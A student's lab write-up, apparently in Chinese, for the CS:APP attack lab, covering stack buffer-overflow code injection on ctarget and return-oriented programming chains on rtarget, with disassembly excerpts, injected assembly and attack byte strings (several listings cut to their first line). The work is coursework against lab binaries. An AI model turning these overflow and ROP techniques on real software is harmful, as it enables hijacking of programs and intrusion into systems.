这是大一暑假汇编课的实验。此次实验要求我们用利用缓冲区溢出的bug对目标源程序进行攻击,ctarget的缓冲区在内存中的位置不变,很容易执行植入的汇编代码,而rtarget则采用了内存随机化,几乎不可能预测缓冲区的起始地址,从而要使用ROP攻击,难度更大。
ctarget
level 1
首先对ctarget文件进行反汇编objdump -d ./ctarget>ctarget.s
,在ctarget.s
中搜索可以找到以下代码:
1 | 00000000004017f5 <getbuf>: |
可见getbuf先在栈里开辟了0x38的空间,再callq Gets函数进行写入,callq自动将下一条语句地址压栈以便返回时使用。于是只需要先填充56个字符,再加上touch1函数地址0x40180b
即可,考虑到x86为小端,可得到如下攻击字符串hex:
1 | 31 31 31 31 31 31 31 31 |
level 2
此题要求给touch2传入参数,先看看它的反汇编代码:
1 | 0000000000401837 <touch2>: |
可见它是将寄存器edi与cookie进行对比,而从程序运行结果来看cookie=0x47db4e3a
,又通过gdb调试可知读入数据的首地址是0x55652778
,所以代码分三部分,第一部分修改edi,第二部分设置rsp以便ret到touch2,第三部分设置rsp以便ret到数据首地址,综合可得如下代码(标注了内存地址):
1 | 0x55652778: movl $0x47db4e3a,%edi |
1 | 0x556527b0: 78 27 65 55 #buf溢出覆盖原有地址 |
level 3
查表可知0x47db4e3a
的ascii码为34 37 64 62 34 65 33 61 00
,根据题意,我们需要将上述数据的地址赋给edi,同时又要修改esp以确保后续函数的执行不会修改上述数据段,可得代码:
1 | 0x55652778: movl $0x55652778,%edi #数据段地址 |
1 | 0x556527b0: 78 27 65 55 #buf溢出覆盖原有地址 |
rtarget
level 2
题目要求将cookie传给rdi,而要操作rdi寄存器,有两种方式:
1 | movq _____,%rdi |
或者
1 | popq %rdi |
第一种方式hex代码为48 89 ?7 c3
或48 89 ?f c3
,在rtarget反汇编代码中检索可得
1 | 00000000004019ec <getval_277>: |
其中48 89 c7 c3
对应的汇编指令为
1 | movq %rax,%rdi |
于是我们还需要一个popq %rax
实现cookie到rax寄存器的过程,对应hex为58
,检索可得
1 | 00000000004019f9 <setval_467>: |
综上得到攻击hex码为
1 | fe 19 40 00 00 00 00 00 #popq %rax |
最后只需在前面随意添加56字节长的字符作为偏置。
level 3
此题中输入在栈中的位置是可变的,不能通过gdb确定,于是需要从rsp寄存器获取,查表知movq %rsp,___
的hex为48 89 e?
,在反汇编代码中查找得到:
1 | 0000000000401ab2 <setval_317>: |
其中48 89 e0
对应的汇编代码为movq %rsp,%rax
。
但此时获取的是下一条语句的地址,如果把数据就存储在此处,ret后将会执行以数据段为地址的代码从而导致segmentation fault,所以我们需要将数据存储在前面或者后面并将rax减去或者加上偏移量。经过一番尝试,addq subq inc dec
均不能在farm中找到,最后尝试leaq ___,___
,对应hex码为48 8d
,检索可得:
1 | 0000000000401a21 <add_xy>: |
其中48 8d 04 37
对应汇编代码为leaq (%rdi,%rsi,1),%rax
。
使用gdb调试发现rsi的值为0x31
,于是可得以下攻击代码:
1 | b4 1a 40 00 00 00 00 00 #movq %rsp,%rax |
1 | 34 37 64 62 34 65 33 61 00 #cookie |